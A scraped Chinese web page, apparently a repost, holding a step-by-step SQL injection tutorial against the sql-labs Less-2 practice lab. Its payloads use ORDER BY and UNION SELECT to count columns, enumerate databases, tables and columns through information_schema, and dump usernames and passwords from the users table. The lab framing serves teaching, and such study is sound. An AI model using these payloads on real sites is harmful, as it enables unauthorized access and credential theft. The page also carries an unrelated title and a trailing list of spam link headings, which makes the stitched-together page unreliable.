当前位置: 首页 > news >正文

网站开发技术构架discuz 做的网站

网站开发技术构架,discuz 做的网站,公司做两个网站有影响吗,临淄网站建设SQL注入的过程 手工注入过程 (1) 判断是否存在注入点; (2) 判断字段长度(字段数); (3) 判断字段回显位置; (4) 判断数据库信息; (5) 查找数据库名; (6) 查找数据库表; (7) 查找数据库表中所有字段以及字段值; (8) 猜解账号密码; (9) 登录管理员后台; 以sql-labs less-2举例 会… SQL注入的过程 手工注入过程 (1) 判断是否存在注入点; (2) 判断字段长度(字段数); (3) 判断字段回显位置; (4) 判断数据库信息; (5) 查找数据库名; (6) 查找数据库表; (7) 查找数据库表中所有字段以及字段值; (8) 猜解账号密码; (9) 登录管理员后台; 以sql-labs less-2举例 会有提示 请输入ID作为数值参数 Please input the ID as parameter with numeric value id1-12 都会返回值 也就是相当于该id列 共有12个值 1-12 (1) 判断是否存在注入点; 三步 ?id1   报错数据库错误 ?id1 and 11 成功 ?id1 and 12 失败 通过这三点就可以看出 存在注入点并且注入点在url中 属于GET数字型注入点 (2) 判断字段长度(字段数); 使用order by排序进行判断 ?id1 and 1 1 order by 1  对第一列排序 正常显示 ?id1 and 1 1 order by 2  对第二列排序 正常显示 ?id1 and 1 1 order by 3  对第三列排序 正常显示 ?id1 and 1 1 order by 4  对第四列排序 错误显示Unknown column 4 in order clause 判断出 对前三列排序都是正常显示 对第四列排序显示错误第四列未知  使用 union 联合查询进行判断 ?id1 and 1 1 union select 1                错误显示 ?id1 and 1 1 union select 1,2             错误显示 ?id1 and 1 1 union select 1,2,3          正常显示 ?id1 and 1 1 union select 1,2,3,4       错误显示 判断出 联合查询为3列的时候能与原列数进行拼接 否则报错原因为所使用的SELECT语句具有不同数量的列  通过以上两种方法可以判断出 该表的字段数为3 (3) 判断字段回显位置; 目前知道有三个字段 但是只回显了两个字段的值 我们应该判断哪些字段是隐藏的 哪些字段是回显出来的 使用and否定前面的查询 使数据库执行union后的查询语句  已知三个字段 给联合查询 三个常量值 1,2,3进行判断哪些字段显示出来了 ?id1 and 1 2 union select 1,2,3  回显的值为2和3表示 能显示的位置为2号位和3号位也就是2字段和3字段那么第1个字段就是隐藏位从这个信息我们就可以的到下一步如果我们设计payload的时候我们希望把payload放到2号位和3号位的位置只有这样我们才能够看到payload的返回结果如果payload放到1号位 虽然也能执行 但是无法看到执行结果 (4) 判断数据库信息; 获取服务器所有数据库 从目录数据库中进行查找 存放着MYSQL所有的数据库表列的名上面提到过 这个目录数据库的数据库名 目录数据库的表名 目录数据库中表的列名都是固定的(只演示获取数据库) ?id1 and 1 2 union select 1,2,schema_name from information_schema.schemata schema_name 列有很多个值 但是3号位只能显示第一个值 只能显示第一个数据库的名 使用group_concat()函数聚合函数把当前列所有值连接成字符串 从而返回一个结果集 返回当前服务器存在的所有数据库 ?id1 and 1 2 union select 1,2,group_concat(schema_name) from information_schema.schemata 5 获取当前网站的数据库 ?id1 and 1 2 union select 1,2,database() 获取到网站数据库名security了 就开始获取security内的表了 (6) 查找数据库表; ?id1 and 1 2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity 到这我们认为users可能存放着敏感信息于是查询users表中字段名以及字段值 (7) 查找数据库表中所有字段以及字段值; 查询users字段名 ?id1 and 1 2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers 查询每个字段的值 现在已经知道数据库为security表位users 就不需要目录数据库了 使用concat_ws()函数 将每个字段的值以逗号分开结合成字符串 如果不是用该函数3号位只能显示1个字段的一个值 使用后3号位能显示3个字段的3个值 使用limit逐行显示 不使用注释会报错 大概率是与服务器的固定部分语句冲突等原因 ?id1 and 1 2 union select 1,2,concat_ws(,,id,username,password) from security.users limit 0,1 -- 前7步已经得到想要的结果了账号密码了 (8) 猜解账号密码 略过   当前靶场无登录界面 所以 (9) 登录管理员后台;略过 以上七步的所有结果后不确定是否正确 登录靶机的mysql中 查看security数据库users表中的内容进行验证 发现完全一致 ​
http://www.w-s-a.com/news/511101/

相关文章:

  • dede 购物网站wordpress主题超限
  • 做啊录音网站WordPress音乐悬浮插件
  • 安徽建设厅证书查询网网站网站策划与运营课程认知
  • wordpress证书关闭重庆seo优化效果好
  • 直播网站建设模板网站活动怎么做的
  • 医院网站建设网站网站开发工资高嘛
  • 个人网站备案内容写什么做网站是不是涉及很多语言职
  • 怎么用手机做一个网站门户网站建设工作的自查报告
  • 网站搭建怎么收费浙江建设集团网站
  • 建网站怎么赚钱免费引流软件下载
  • 自建网站服务器备案做基础销量的网站
  • 淘宝 网站建设 发货音乐网站首页设计
  • 丽水做网站杭州建电商网站多少钱
  • 建设网站能解决什么问题wordpress 模板 中文
  • 平台型网站建设预算表友情链接中有个网站域名过期了会影响
  • 漯河网站开发运营seo是什么意思
  • 网站建设的征求意见稿iis 网站 红
  • 网站搭建教室企业网站开发实训心得
  • 阿克苏建设网站佛山app定制
  • 做淘宝网站要求与想法大型网站建设推荐
  • 在百度做网站赚钱吗跨境电商网站开发
  • 酒店网站建设策划方案南昌网站建设南昌
  • 临沂罗庄做网站房产cms
  • 五合一网站做优化好用吗网站设计的专业流程
  • 毕业设计论文网站开发需要多少网站seo建设方案
  • h5页面用什么做杭州优化外包哪里好
  • 许昌网站建设百姓国货app下载
  • 什么是建站装修公司做宣传在哪个网站
  • 阿里云虚拟主机多个网站吗大庆油田建设集团网站
  • 坂田公司做网站公司有网站域名后如何建网站